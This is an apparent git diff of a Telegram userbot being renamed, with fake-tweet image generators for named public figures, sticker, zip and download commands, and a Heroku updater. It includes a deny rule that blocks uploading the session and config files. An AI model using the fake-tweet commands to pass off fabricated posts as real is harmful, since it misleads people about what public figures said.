( + bhautweet, + johnnytweet, + jtweet, + miatweet, + moditweet, + sunnytweet, +) +from virtualuserbot.utils import admin_cmd + +EMOJI_PATTERN = re.compile( + "[" + "\U0001F1E0-\U0001F1FF" # flags (iOS) + "\U0001F300-\U0001F5FF" # symbols & pictographs + "\U0001F600-\U0001F64F" # emoticons + "\U0001F680-\U0001F6FF" # transport & map symbols + "\U0001F700-\U0001F77F" # alchemical symbols + "\U0001F780-\U0001F7FF" # Geometric Shapes Extended + "\U0001F800-\U0001F8FF" # Supplemental Arrows-C + "\U0001F900-\U0001F9FF" # Supplemental Symbols and Pictographs + "\U0001FA00-\U0001FA6F" # Chess Symbols + "\U0001FA70-\U0001FAFF" # Symbols and Pictographs Extended-A + "\U00002702-\U000027B0" # Dingbats + "]+" +) + + +def deEmojify(inputString: str) -> str: + return re.sub(EMOJI_PATTERN, "", inputString) + + +# for nekobot +async def trumptweet(text): + r = requests.get( + f"https://nekobot.xyz/api/imagegen?type=trumptweet&text={text}" + ).json() + geng = r.get("message") + kapak = url(geng) + if not kapak: + return "check syntax once more" + with open("gpx.png", "wb") as f: + f.write(requests.get(geng).content) + img = Image.open("gpx.png").convert("RGB") + img.save("gpx.webp", "webp") + return "gpx.webp" + + +async def changemymind(text): + r = requests.get( + f"https://nekobot.xyz/api/imagegen?type=changemymind&text={text}" + ).json() + geng = r.get("message") + kapak = url(geng) + if not kapak: + return "check syntax once more" + with open("gpx.png", "wb") as f: + f.write(requests.get(geng).content) + img = Image.open("gpx.png").convert("RGB") + img.save("gpx.webp", "webp") + return "gpx.webp" + + +async def tweets(text1, text2): + r = requests.get( + f"https://nekobot.xyz/api/imagegen?type=tweet&text={text1}&username={text2}" + ).json() + geng = r.get("message") + kapak = url(geng) + if not kapak: + return "check syntax once more" + with open("gpx.png", "wb") as f: + f.write(requests.get(geng).content) + img = Image.open("gpx.png").convert("RGB") + img.save("gpx.webp", "webp") + return "gpx.webp" + + +async def purge(): + try: + os.remove("gpx.png") + os.remove("gpx.webp") + except OSError: + pass + + +# @register(outgoing=True, pattern=r"^\.trump(?: |$)(.*)") +@borg.on(admin_cmd(outgoing=True, pattern="trump ?(.*)")) +async def trump(event): + text = event.pattern_match.group(1) + text = re.sub("&", "", text) + reply_to_id = event.message + if event.reply_to_msg_id: + reply_to_id = await event.get_reply_message() + if not text: + if event.is_reply and not reply_to_id.media: + text = reply_to_id.message + else: + await event.edit("`Send you text to trump so he can tweet.`") + return + await event.edit("`Requesting trump to tweet...`") + text = deEmojify(text) + img = await trumptweet(text) + await event.client.send_file(event.chat_id, img, reply_to=reply_to_id) + await event.delete() + await purge() + + +# @register(outgoing=True, pattern=r"^\.johnny(?: |$)(.*)") +@borg.on(admin_cmd(outgoing=True, pattern="johnny ?(.*)")) +async def johnny(event): + text = event.pattern_match.group(1) + text = re.sub("&", "", text) + reply_to_id = event.message + if event.reply_to_msg_id: + reply_to_id = await event.get_reply_message() + if not text: + if event.is_reply and not reply_to_id.media: + text = reply_to_id.message + else: + await event.edit("`Send you text to Johnny so he can tweet.`") + return + await event.edit("`Requesting Johnny to tweet...`") + text = deEmojify(text) + img = await johnnytweet(text) + await event.client.send_file(event.chat_id, img, reply_to=reply_to_id) + await event.delete() + await purge() + + +# @register(outgoing=True, pattern=r"^\.bhau(?: |$)(.*)") +@borg.on(admin_cmd(outgoing=True, pattern="bhau ?(.*)")) +async def bhau(event): + text = event.pattern_match.group(1) + text = re.sub("&", "", text) + reply_to_id = event.message + if event.reply_to_msg_id: + reply_to_id = await event.get_reply_message() + if not text: + if event.is_reply and not reply_to_id.media: + text = reply_to_id.message + else: + await event.edit("`Send you text to Hindustani Bhau so he can tweet.`") + return + await event.edit("`Requesting Hindustani bhau to tweet...`") + text = deEmojify(text) + img = await bhautweet(text) + await event.client.send_file(event.chat_id, img, reply_to=reply_to_id) + await event.delete() + await purge() + + +# @register(outgoing=True, pattern=r"^\.sunny(?: |$)(.*)") +@borg.on(admin_cmd(outgoing=True, pattern="sunny ?(.*)")) +async def sunny(event): + text = event.pattern_match.group(1) + text = re.sub("&", "", text) + reply_to_id = event.message + if event.reply_to_msg_id: + reply_to_id = await event.get_reply_message() + if not text: + if event.is_reply and not reply_to_id.media: + text = reply_to_id.message + else: + await event.edit("`Send you text to Sunny so he can tweet.`") + return + await event.edit("`Requesting Sunny to tweet...`") + text = deEmojify(text) + img = await sunnytweet(text) + await event.client.send_file(event.chat_id, img, reply_to=reply_to_id) + await event.delete() + await purge() + + +# @register(outgoing=True, pattern=r"^\.joker(?: |$)(.*)") +@borg.on(admin_cmd(outgoing=True, pattern="joker ?(.*)")) +async def j(event): + text = event.pattern_match.group(1) + text = re.sub("&", "", text) + reply_to_id = event.message + if event.reply_to_msg_id: + reply_to_id = await event.get_reply_message() + if not text: + if event.is_reply and not reply_to_id.media: + text = reply_to_id.message + else: + await event.edit("`Send you text to 🃏 Joker so he can tweet.`") + return + await event.edit("`Requesting 🃏 Joker to tweet...`") + text = deEmojify(text) + img = await jtweet(text) + await event.client.send_file(event.chat_id, img, reply_to=reply_to_id) + await event.delete() + await purge() + + +# @register(outgoing=True, pattern=r"^\.modi(?: |$)(.*)") +@borg.on(admin_cmd(outgoing=True, pattern="modi ?(.*)")) +async def modi(event): + text = event.pattern_match.group(1) + text = re.sub("&", "", text) + reply_to_id = event.message + if event.reply_to_msg_id: + reply_to_id = await event.get_reply_message() + if not text: + if event.is_reply and not reply_to_id.media: + text = reply_to_id.message + else: + await event.edit("`Send you text to Modi so he can tweet.`") + return + await event.edit("`Requesting Modi to tweet...`") + text = deEmojify(text) + img = await moditweet(text) + await event.client.send_file(event.chat_id, img, reply_to=reply_to_id) + await event.delete() + await purge() + + +# @register(outgoing=True, pattern=r"^\.mia(?: |$)(.*)") +@borg.on(admin_cmd(outgoing=True, pattern="mia ?(.*)")) +async def mia(event): + text = event.pattern_match.group(1) + text = re.sub("&", "", text) + reply_to_id = event.message + if event.reply_to_msg_id: + reply_to_id = await event.get_reply_message() + if not text: + if event.is_reply and not reply_to_id.media: + text = reply_to_id.message + else: + await event.edit("`Send you text to Mia so he can tweet.`") + return + await event.edit("`Requesting Mia to tweet...`") + text = deEmojify(text) + img = await miatweet(text) + await event.client.send_file(event.chat_id, img, reply_to=reply_to_id) + await event.delete() + await purge() + + +# @register(outgoing=True, pattern=r"^\.cmm(?: |$)(.*)") +@borg.on(admin_cmd(outgoing=True, pattern="cmm ?(.*)")) +async def cmm(event): + text = event.pattern_match.group(1) + text = re.sub("&", "", text) + reply_to_id = event.message + if event.reply_to_msg_id: + reply_to_id = await event.get_reply_message() + if not text: + if event.is_reply and not reply_to_id.media: + text = reply_to_id.message + else: + await event.edit("`Give text for to write on banner!`") + return + await event.edit("`Your banner is under creation wait a sec...`") + text = deEmojify(text) + img = await changemymind(text) + await event.client.send_file(event.chat_id, img, reply_to=reply_to_id) + await event.delete() + await purge() + + +# @register(outgoing=True, pattern="^.type(?: |$)(.*)") +@borg.on(admin_cmd(outgoing=True, pattern="type ?(.*)")) +async def type(animu): + # """Generate random waifu sticker with the text!""" + + text = animu.pattern_match.group(1) + if not text: + if animu.is_reply: + text = (await animu.get_reply_message()).message + else: + await animu.answer("`No text given.`") + return + animus = [ + 1, + 2, + 3, + 4, + 5, + 6, + 8, + 7, + 10, + 11, + 13, + 22, + 34, + 35, + 36, + 37, + 43, + 44, + 45, + 52, + 53, + ] + sticcers = await bot.inline_query( + "stickerizerbot", f"#{random.choice(animus)}{(deEmojify(text))}" + ) + await sticcers[0].click( + animu.chat_id, + reply_to=animu.reply_to_msg_id, + silent=True if animu.is_reply else False, + hide_via=True, + ) + await animu.delete() + + +# @register(outgoing=True, pattern="^.waifu(?: |$)(.*)") + + +@borg.on(admin_cmd(outgoing=True, pattern="waifu ?(.*)")) +async def waifu(danish): + # """Generate random waifu sticker with the text!""" + + text = danish.pattern_match.group(1) + if not text: + if danish.is_reply: + text = (await danish.get_reply_message()).message + else: + await danish.answer("`No text given.`") + return + king = [32, 33, 37, 40, 41, 42, 58, 20] + sticcers = await bot.inline_query( + "stickerizerbot", f"#{random.choice(king)}{(deEmojify(text))}" + ) + await sticcers[0].click( + danish.chat_id, + reply_to=danish.reply_to_msg_id, + silent=True if danish.is_reply else False, + hide_via=True, + ) + await danish.delete() + + +# @register(outgoing=True, pattern=r"\.tweet(?: |$)(.*)") +@borg.on(admin_cmd(outgoing=True, pattern="tweet ?(.*)")) +async def tweet(event): + text = event.pattern_match.group(1) + text = re.sub("&", "", text) + reply_to_id = event.message + if event.reply_to_msg_id: + reply_to_id = await event.get_reply_message() + if not text: + if event.is_reply: + if not reply_to_id.media: + text = reply_to_id.message + else: + await event.edit("`What should i tweet? Give your username and tweet!`") + return + else: + await event.edit("What should i tweet? Give your username and tweet!`") + return + if "." in text: + username, text = text.split(".") + else: + await event.edit("`What should i tweet? Give your username and tweet!`") + await event.edit(f"`Requesting {username} to tweet...`") + text = deEmojify(text) + img = await tweets(text, username) + await event.client.send_file(event.chat_id, img, reply_to=reply_to_id) + await event.delete() + await purge() + + +@borg.on(admin_cmd(pattern="tweetme(?: |$)(.*)")) +async def tweetme(okie): + # """Creates random anime sticker!""" + what = okie.pattern_match.group(1) + if not what: + if okie.is_reply: + what = (await okie.get_reply_message()).message + else: + await okie.edit("`Tweets must contain some text, pero!`") + return + sticcers = await bot.inline_query("TwitterStatusBot", f"{(deEmojify(what))}") + await sticcers[0].click( + okie.chat_id, + reply_to=okie.reply_to_msg_id, + silent=True if okie.is_reply else False, + hide_via=True, + ) + await okie.delete() + + +CMD_HELP.update( + { + "tweet": ".tweet ." + "\nUsage Create tweet with custom username.\n\n" + ".trump " + "\nUsage Create tweet for Donald Trump.\n\n" + ".sunny " + "\nUsage Create tweet for Sunny Leone.\n\n" + ".johnny " + "\nUsage Create tweet for Johnny Sins.\n\n" + ".bhau " + "\nUsage Create tweet for Hindustani bhau.\n\n" + ".modi " + "\nUsage: Create tweet for Modi .\n\n" + ".tweetme " + "\nUsage Create tweet from u in dark theme.\n\n" + ".cmm " + "\nUsage Create banner for Change My Mind.\n\n" + ".waifu " + "\nUsage Random anime girl stickers.\n\n" + ".type " + "\nUsage random sticker is writing your text." + } +) diff --git a/fridaybot/modules/typing.py b/virtualuserbot/modules/typing.py similarity index 97% rename from fridaybot/modules/typing.py rename to virtualuserbot/modules/typing.py index c9ddab34..a225527d 100644 --- a/fridaybot/modules/typing.py +++ b/virtualuserbot/modules/typing.py @@ -5,7 +5,7 @@ from uniborg.util import friday_on_cmd -from fridaybot import CMD_HELP +from virtualuserbot import CMD_HELP @friday.on(friday_on_cmd(pattern="type (.*)")) diff --git a/fridaybot/modules/ukinti.py b/virtualuserbot/modules/ukinti.py similarity index 99% rename from fridaybot/modules/ukinti.py rename to virtualuserbot/modules/ukinti.py index 1760daa2..9df3ccbb 100644 --- a/fridaybot/modules/ukinti.py +++ b/virtualuserbot/modules/ukinti.py @@ -19,7 +19,7 @@ ) from uniborg.util import friday_on_cmd -from fridaybot import CMD_HELP +from virtualuserbot import CMD_HELP @friday.on(friday_on_cmd(pattern="unbanall ?(.*)")) diff --git a/fridaybot/modules/ultragoogle.py b/virtualuserbot/modules/ultragoogle.py similarity index 98% rename from fridaybot/modules/ultragoogle.py rename to virtualuserbot/modules/ultragoogle.py index 3084f194..0818b88a 100644 --- a/fridaybot/modules/ultragoogle.py +++ b/virtualuserbot/modules/ultragoogle.py @@ -12,8 +12,8 @@ from bs4 import BeautifulSoup from google_images_download import google_images_download -from fridaybot import CMD_HELP -from fridaybot.utils import edit_or_reply, friday_on_cmd, sudo_cmd +from virtualuserbot import CMD_HELP +from virtualuserbot.utils import edit_or_reply, friday_on_cmd, sudo_cmd def progress(current, total): diff --git a/fridaybot/modules/undlt.py b/virtualuserbot/modules/undlt.py similarity index 95% rename from fridaybot/modules/undlt.py rename to virtualuserbot/modules/undlt.py index 8d04deef..f31bcc57 100644 --- a/fridaybot/modules/undlt.py +++ b/virtualuserbot/modules/undlt.py @@ -2,7 +2,7 @@ from uniborg.util import friday_on_cmd -from fridaybot import CMD_HELP +from virtualuserbot import CMD_HELP @friday.on(friday_on_cmd(pattern="undlt")) diff --git a/fridaybot/modules/unzipfile.py b/virtualuserbot/modules/unzipfile.py similarity index 65% rename from fridaybot/modules/unzipfile.py rename to virtualuserbot/modules/unzipfile.py index a6a7e164..546a7d00 100644 --- a/fridaybot/modules/unzipfile.py +++ b/virtualuserbot/modules/unzipfile.py @@ -2,41 +2,80 @@ coded by @By_Azade code rewritten my SnapDragon7410 """ - +import asyncio import os import time +import time as t import zipfile from datetime import datetime -from hachoir.metadata import extractMetadata -from hachoir.parser import createParser -from telethon.tl.types import DocumentAttributeVideo - -from fridaybot import CMD_HELP -from fridaybot.utils import friday_on_cmd +from virtualuserbot import CMD_HELP +from virtualuserbot.utils import admin_cmd -thumb_image_path = Config.TMP_DOWNLOAD_DIRECTORY + "/thumb_image.jpg" extracted = Config.TMP_DOWNLOAD_DIRECTORY + "extracted/" -if not os.path.isdir(extracted): - os.makedirs(extracted) +thumb_image_path = Config.TMP_DOWNLOAD_DIRECTORY + "/thumb_image.jpg" -@friday.on(friday_on_cmd(pattern="unzip")) +@borg.on(admin_cmd("zip")) async def _(event): if event.fwd_from: return + if not event.is_reply: + await event.edit("Reply to a file to compress it. Bruh.") + return mone = await event.edit("Processing ...") if not os.path.isdir(Config.TMP_DOWNLOAD_DIRECTORY): os.makedirs(Config.TMP_DOWNLOAD_DIRECTORY) if event.reply_to_msg_id: - start = datetime.now() reply_message = await event.get_reply_message() try: - time.time() downloaded_file_name = await borg.download_media( reply_message, Config.TMP_DOWNLOAD_DIRECTORY, ) + directory_name = downloaded_file_name + await event.edit(downloaded_file_name) + except Exception as e: # pylint:disable=C0103,W0703 + await mone.edit(str(e)) + zipfile.ZipFile(directory_name + ".zip", "w", zipfile.ZIP_DEFLATED).write( + directory_name + ) + await borg.send_file( + event.chat_id, + directory_name + ".zip", + caption="**Zipped!**", + force_document=True, + allow_cache=False, + reply_to=event.message.id, + ) + await asyncio.sleep(7) + await event.delete() + + +def zipdir(path, ziph): + # ziph is zipfile handle + for root, dirs, files in os.walk(path): + for file in files: + ziph.write(os.path.join(root, file)) + os.remove(os.path.join(root, file)) + + +@borg.on(admin_cmd(pattern="unzip")) +async def _(event): + if event.fwd_from: + return + mone = await event.edit("Processing ...") + if not os.path.isdir(Config.TMP_DOWNLOAD_DIRECTORY): + os.makedirs(Config.TMP_DOWNLOAD_DIRECTORY) + if event.reply_to_msg_id: + start = datetime.now() + reply_message = await event.get_reply_message() + try: + t.time() + downloaded_file_name = await bot.download_media( + reply_message, + Config.TMP_DOWNLOAD_DIRECTORY, + ) except Exception as e: # pylint:disable=C0103,W0703 await mone.edit(str(e)) else: @@ -59,33 +98,11 @@ async def _(event): force_document = True supports_streaming = False document_attributes = [] - if single_file.endswith((".mp4", ".mp3", ".flac", ".webm")): - metadata = extractMetadata(createParser(single_file)) - duration = 0 - width = 0 - height = 0 - if metadata.has("duration"): - duration = metadata.get("duration").seconds - if os.path.exists(thumb_image_path): - metadata = extractMetadata(createParser(thumb_image_path)) - if metadata.has("width"): - width = metadata.get("width") - if metadata.has("height"): - height = metadata.get("height") - document_attributes = [ - DocumentAttributeVideo( - duration=duration, - w=width, - h=height, - round_message=False, - supports_streaming=True, - ) - ] try: - await borg.send_file( + await bot.send_file( event.chat_id, single_file, - caption=f"UnZipped `{caption_rts}`", + caption=f"**Unzipped** `{caption_rts}`", force_document=force_document, supports_streaming=supports_streaming, allow_cache=False, @@ -96,7 +113,7 @@ async def _(event): # ) ) except Exception as e: - await borg.send_message( + await bot.send_message( event.chat_id, "{} caused `{}`".format(caption_rts, str(e)), reply_to=event.message.id, diff --git a/virtualuserbot/modules/updater.py b/virtualuserbot/modules/updater.py new file mode 100644 index 00000000..ba06adf3 --- /dev/null +++ b/virtualuserbot/modules/updater.py @@ -0,0 +1,154 @@ +import asyncio +import os +import sys + +import git + +from virtualuserbot.Configs import Config + +from ..utils import friday_on_cmd as lightning_cmd + +# -- Constants -- # +IS_SELECTED_DIFFERENT_BRANCH = ( + "looks like a custom branch {branch_name} " + "is being used:\n" + "in this case, Updater is unable to identify the branch to be updated." + "please check out to an official branch, and re-start the updater." +) +OFFICIAL_UPSTREAM_REPO = Config.UPSTREAM_REPO +BOT_IS_UP_TO_DATE = ( + "Yaour userbot >> is up-to-date<< \nIt is recommended to use @FridayOT." +) +NEW_BOT_UP_DATE_FOUND = ( + "New Update Found For {branch_name}\n" + "ChangeLog: \n\n{changelog}\n" + "UPdate Your bot ..." +) +NEW_UP_DATE_FOUND = ( + "Alert! New UPdate here @ {branch_name}\n" "`UPdating your UserBoT...`" +) +REPO_REMOTE_NAME = "temponame" +IFFUCI_ACTIVE_BRANCH_NAME = "master" +DIFF_MARKER = "HEAD..{remote_name}/{branch_name}" +NO_HEROKU_APP_CFGD = "no heroku application found, but a key given? 😕 " +HEROKU_GIT_REF_SPEC = "HEAD:refs/heads/master" +RESTARTING_APP = "`Re-starting heroku application`" +# -- Constants End -- # + + +@borg.on(lightning_cmd("update", outgoing=True)) +async def updater(message): + try: + repo = git.Repo() + except git.exc.InvalidGitRepositoryError as e: + repo = git.Repo.init() + origin = repo.create_remote(REPO_REMOTE_NAME, OFFICIAL_UPSTREAM_REPO) + origin.fetch() + repo.create_head(IFFUCI_ACTIVE_BRANCH_NAME, origin.refs.master) + repo.heads.master.checkout(True) + + active_branch_name = repo.active_branch.name + if active_branch_name != IFFUCI_ACTIVE_BRANCH_NAME: + await message.edit( + IS_SELECTED_DIFFERENT_BRANCH.format(branch_name=active_branch_name) + ) + return False + + try: + repo.create_remote(REPO_REMOTE_NAME, OFFICIAL_UPSTREAM_REPO) + except Exception as e: + print(e) + + temp_upstream_remote = repo.remote(REPO_REMOTE_NAME) + temp_upstream_remote.fetch(active_branch_name) + + changelog = generate_change_log( + repo, + DIFF_MARKER.format( + remote_name=REPO_REMOTE_NAME, branch_name=active_branch_name + ), + ) + + if not changelog: + await message.edit( + "`No Update AvaiLAbLe if still you want to check just restart bot`" + ) + return + if message.text[8:] != "now": + message_one = NEW_BOT_UP_DATE_FOUND.format( + branch_name=active_branch_name, changelog=changelog + ) + message_two = NEW_UP_DATE_FOUND.format(branch_name=active_branch_name) + + if len(message_one) > 4095: + with open("change.log", "w+", encoding="utf8") as out_file: + out_file.write(str(message_one)) + await tgbot.send_message( + message.chat_id, document="change.log", caption=message_two + ) + os.remove("change.log") + else: + await message.edit(message_one) + await message.respond(f"Do `.update now` to update userbot") + return + temp_upstream_remote.fetch(active_branch_name) + repo.git.reset("--hard", "FETCH_HEAD") + + if Var.HEROKU_API_KEY is not None: + import heroku3 + + heroku = heroku3.from_key(Var.HEROKU_API_KEY) + heroku_applications = heroku.apps() + if len(heroku_applications) >= 1: + if Var.HEROKU_APP_NAME is not None: + heroku_app = None + for i in heroku_applications: + if i.name == Var.HEROKU_APP_NAME: + heroku_app = i + if heroku_app is None: + await message.edit( + "Invalid APP Name. Please set the name of your bot in heroku in the var `HEROKU_APP_NAME.`" + ) + return + heroku_git_url = heroku_app.git_url.replace( + "https://", "https://api:" + Var.HEROKU_API_KEY + "@" + ) + if "heroku" in repo.remotes: + remote = repo.remote("heroku") + remote.set_url(heroku_git_url) + else: + remote = repo.create_remote("heroku", heroku_git_url) + asyncio.get_event_loop().create_task( + deploy_start(tgbot, message, HEROKU_GIT_REF_SPEC, remote) + ) + + else: + await message.edit( + "Please create the var `HEROKU_APP_NAME` as the key and the name of your bot in heroku as your value." + ) + return + else: + await message.edit(NO_HEROKU_APP_CFGD) + else: + await message.edit("No heroku api key found in `HEROKU_API_KEY` var") + + +def generate_change_log(git_repo, diff_marker): + out_put_str = "" + d_form = "%d/%m/%y" + for repo_change in git_repo.iter_commits(diff_marker): + out_put_str += f"•[{repo_change.committed_datetime.strftime(d_form)}]: {repo_change.summary} <{repo_change.author}>\n" + return out_put_str + + +async def deploy_start(tgbot, message, refspec, remote): + await asyncio.sleep(2) + await message.edit("Almost Done....") + await message.edit(RESTARTING_APP) + await asyncio.sleep(2) + await message.edit( + "**UpdatinG Your ubot sir!!!\nPlease WaiT FoR 5-10 mins, modules are loading after that type `.alive` to check if I am On**🤗😅" + ) + await remote.push(refspec=refspec) + await tgbot.disconnect() + os.execl(sys.executable, sys.executable, *sys.argv) diff --git a/fridaybot/modules/upload_dl.py b/virtualuserbot/modules/upload_dl.py similarity index 68% rename from fridaybot/modules/upload_dl.py rename to virtualuserbot/modules/upload_dl.py index 31d47c64..cbc94f33 100644 --- a/fridaybot/modules/upload_dl.py +++ b/virtualuserbot/modules/upload_dl.py @@ -1,36 +1,37 @@ -# © By StarkGang™ And IndianBot™ -# For F.r.i.d.a.y And Indianbot ™ -""" Userbot module which contains everything related to \ - downloading/uploading from/to the server. """ - +# @UniBorg import asyncio import json import math import os import subprocess import time +from datetime import datetime +from urllib.parse import urlparse +import requests from hachoir.metadata import extractMetadata from hachoir.parser import createParser from pySmartDL import SmartDL from telethon.tl.types import DocumentAttributeVideo -from fridaybot import CMD_HELP, LOGS, TEMP_DOWNLOAD_DIRECTORY -from fridaybot.events import register -from fridaybot.utils import edit_or_reply, friday_on_cmd, sudo_cmd +from virtualuserbot import CMD_HELP, LOGS, TEMP_DOWNLOAD_DIRECTORY +from virtualuserbot.function.FastTelethon import upload_file +from virtualuserbot.utils import edit_or_reply, friday_on_cmd, sudo_cmd async def progress(current, total, event, start, type_of_ps, file_name=None): """Generic progress_callback for uploads and downloads.""" now = time.time() diff = now - start - if round(diff % 10.00) == 0 or current != total: + if round(diff % 10.00) == 0 or current == total: percentage = current * 100 / total speed = current / diff elapsed_time = round(diff) * 1000 + if elapsed_time == 0: + return time_to_completion = round((total - current) / speed) * 1000 estimated_total_time = elapsed_time + time_to_completion - progress_str = "[{0}{1}] {2}%\n".format( + progress_str = "{0}{1} {2}%\n".format( "".join(["▰" for i in range(math.floor(percentage / 10))]), "".join(["▱" for i in range(10 - math.floor(percentage / 10))]), round(percentage, 2), @@ -39,11 +40,17 @@ async def progress(current, total, event, start, type_of_ps, file_name=None): humanbytes(current), humanbytes(total), time_formatter(estimated_total_time) ) if file_name: - await event.edit( - "{}\nFile Name: `{}`\n{}".format(type_of_ps, file_name, tmp) - ) + try: + await event.edit( + "{}\n**File Name:** `{}`\n{}".format(type_of_ps, file_name, tmp) + ) + except: + pass else: - await event.edit("{}\n{}".format(type_of_ps, tmp)) + try: + await event.edit("{}\n{}".format(type_of_ps, tmp)) + except: + pass def humanbytes(size): @@ -79,87 +86,43 @@ def time_formatter(milliseconds: int) -> str: return tmp[:-2] -@friday.on(friday_on_cmd(pattern="download(?: |$)(.*)", outgoing=True)) +@friday.on(friday_on_cmd(pattern="download(?: |$)(.*)")) @friday.on(sudo_cmd(pattern="download(?: |$)(.*)", allow_sudo=True)) async def download(target_file): - """ For .dl command, download files to the fridaybot's server. """ + if target_file.fwd_from: + return friday = await edit_or_reply(target_file, "`Processing ...`") - await friday.edit("Processing using fridaybot server ( ◜‿◝ )♡") - input_str = target_file.pattern_match.group(1) + await friday.edit("Processing using virtualuserbot server ( ◜‿◝ )♡") if not os.path.isdir(TEMP_DOWNLOAD_DIRECTORY): os.makedirs(TEMP_DOWNLOAD_DIRECTORY) - if "|" in input_str: - url, file_name = input_str.split("|") - url = url.strip() - # https://stackoverflow.com/a/761825/4723940 - file_name = file_name.strip() - head, tail = os.path.split(file_name) - if head: - if not os.path.isdir(os.path.join(TEMP_DOWNLOAD_DIRECTORY, head)): - os.makedirs(os.path.join(TEMP_DOWNLOAD_DIRECTORY, head)) - file_name = os.path.join(head, tail) - downloaded_file_name = TEMP_DOWNLOAD_DIRECTORY + "" + file_name - downloader = SmartDL(url, downloaded_file_name, progress_bar=False) - downloader.start(blocking=False) + if not target_file.reply_to_msg_id: + await friday.edit("`Reply to a message to download to my local server.`") + return + sedd = await target_file.get_reply_message() + if not sedd.media: + await event.edit("`I Can Only Download Media As For Now.`") + return + try: c_time = time.time() - display_message = None - while not downloader.isFinished(): - status = downloader.get_status().capitalize() - total_length = downloader.filesize if downloader.filesize else None - downloaded = downloader.get_dl_size() - now = time.time() - diff = now - c_time - percentage = downloader.get_progress() * 100 - downloader.get_speed() - round(diff) * 1000 - progress_str = "[{0}{1}] {2}%".format( - "".join(["▰" for i in range(math.floor(percentage / 10))]), - "".join(["▱" for i in range(10 - math.floor(percentage / 10))]), - round(percentage, 2), - ) - estimated_total_time = downloader.get_eta(human=True) - try: - current_message = f"{status}..\ - \nFOR : F.R.I.D.A.Y™ AND INDIANBOT™\ - \nURL: {url}\ - \nFile Name: {file_name}\ - \n{progress_str}\ - \n{humanbytes(downloaded)} of {humanbytes(total_length)}\ - \nETA: {estimated_total_time}" - - if round(diff % 10.00) == 0 and current_message != display_message: - await friday.edit(current_message) - display_message = current_message - except Exception as e: - LOGS.info(str(e)) - if downloader.isSuccessful(): - await friday.edit( - "Downloaded to `{}` successfully !!".format(downloaded_file_name) - ) - else: - await friday.edit("Incorrect URL\n{}".format(url)) - elif target_file.reply_to_msg_id: - try: - c_time = time.time() - downloaded_file_name = await target_file.client.download_media( - await target_file.get_reply_message(), - TEMP_DOWNLOAD_DIRECTORY, - progress_callback=lambda d, t: asyncio.get_event_loop().create_task( - progress(d, t, target_file, c_time, "Downloading...") - ), - ) - except Exception as e: # pylint:disable=C0103,W0703 - await friday.edit(str(e)) - else: - await friday.edit( - "Downloaded to `{}` successfully !!".format(downloaded_file_name) - ) + downloaded_file_name = await target_file.client.download_media( + await target_file.get_reply_message(), + TEMP_DOWNLOAD_DIRECTORY, + progress_callback=lambda d, t: asyncio.get_event_loop().create_task( + progress(d, t, target_file, c_time, "Downloading This Media...") + ), + ) + except Exception as e: # pylint:disable=C0103,W0703 + await friday.edit(str(e)) else: - await friday.edit("Reply to a message to download to my local server.") + await friday.edit( + "Downloaded to `{}` successfully !!".format(downloaded_file_name) + ) -@register(pattern=r".uploadir (.*)", outgoing=True) +@friday.on(friday_on_cmd(pattern=r"uploadir (.*)")) async def uploadir(udir_event): + if udir_event.fwd_from: + return """ For .uploadir command, allows you to upload everything from a folder in the server""" input_str = udir_event.pattern_match.group(1) if os.path.exists(input_str): @@ -244,12 +207,14 @@ async def uploadir(udir_event): await udir_event.edit("404: Directory Not Found") -@register(pattern=r".upload (.*)", outgoing=True) +@friday.on(friday_on_cmd(pattern=r"upload (.*)")) async def upload(u_event): - """ For .upload command, allows you to upload a file from the fridaybot's server """ + if u_event.fwd_from: + return + """ For .upload command, allows you to upload a file from the virtualuserbot's server """ await u_event.edit("Processing ...") input_str = u_event.pattern_match.group(1) - if input_str in ("fridaybot.session", "config.env"): + if input_str in ("virtualuserbot.session", "config.env"): await u_event.edit("`That's a dangerous operation! Not Permitted!`") return if os.path.exists(input_str): @@ -270,7 +235,7 @@ async def upload(u_event): def get_video_thumb(file, output=None, width=90): - """ Get video thumbnail """ + """Get video thumbnail""" metadata = extractMetadata(createParser(file)) popen = subprocess.Popen( [ @@ -296,7 +261,7 @@ def get_video_thumb(file, output=None, width=90): def extract_w_h(file): - """ Get width and height of media """ + """Get width and height of media""" command_to_run = [ "ffprobe", "-v", @@ -320,8 +285,10 @@ def extract_w_h(file): return width, height -@register(pattern=r".uploadas(stream|vn|all) (.*)", outgoing=True) +@friday.on(friday_on_cmd(pattern=r"uploadas(stream|vn|all) (.*)")) async def uploadas(uas_event): + if uas_event.fwd_from: + return """ For .uploadas command, allows you to specify some arguments for upload. """ await uas_event.edit("Processing ...") type_of_upload = uas_event.pattern_match.group(1) @@ -413,6 +380,96 @@ async def uploadas(uas_event): await uas_event.edit("404: File Not Found") +@borg.on(friday_on_cmd(pattern="smartdl")) +async def lul(event): + if event.fwd_from: + return + input_str = event.raw_text.split(" ", maxsplit=1)[1] + mone = await event.edit("**Processing..**") + start = datetime.now() + url = input_str + a = urlparse(input_str) + file_name = os.path.basename(a.path) + to_download_directory = Config.TMP_DOWNLOAD_DIRECTORY + downloaded_file_name = os.path.join(to_download_directory, file_name) + downloader = SmartDL(url, downloaded_file_name, progress_bar=False) + downloader.start(blocking=False) + display_message = "" + c_time = time.time() + while not downloader.isFinished(): + total_length = downloader.filesize if downloader.filesize else None + downloaded = downloader.get_dl_size() + now = time.time() + diff = now - c_time + percentage = downloader.get_progress() * 100 + downloader.get_speed() + round(diff) * 1000 + progress_str = "[{0}{1}]\nProgress: {2}%".format( + "".join(["▰" for i in range(math.floor(percentage / 5))]), + "".join(["▱" for i in range(20 - math.floor(percentage / 5))]), + round(percentage, 2), + ) + estimated_total_time = downloader.get_eta(human=True) + try: + current_message = f"trying to download\n" + current_message += f"URL: {url}\n" + current_message += f"File Name: {file_name}\n" + current_message += f"{progress_str}\n" + current_message += ( + f"{humanbytes(downloaded)} of {humanbytes(total_length)}\n" + ) + current_message += f"ETA: {estimated_total_time}" + if round(diff % 10.00) == 0 and current_message != display_message: + await mone.edit(current_message) + display_message = current_message + except Exception as e: + logger.info(str(e)) + end = datetime.now() + ms = (end - start).seconds + if downloader.isSuccessful(): + c_time = time.time() + lul = await mone.edit( + "Downloaded to `{}` in {} seconds.".format(downloaded_file_name, ms) + ) + lol_m = await upload_file( + file_name=file_name, + client=borg, + file=open(downloaded_file_name, "rb"), + progress_callback=lambda d, t: asyncio.get_event_loop().create_task( + progress( + d, t, event, c_time, "Uploading This File.", downloaded_file_name + ) + ), + ) + await borg.send_file( + event.chat_id, + lol_m, + caption=file_name, + force_document=False, + allow_cache=False, + ) + await lul.delete() + os.remove(downloaded_file_name) + else: + await mone.edit("Incorrect URL\n 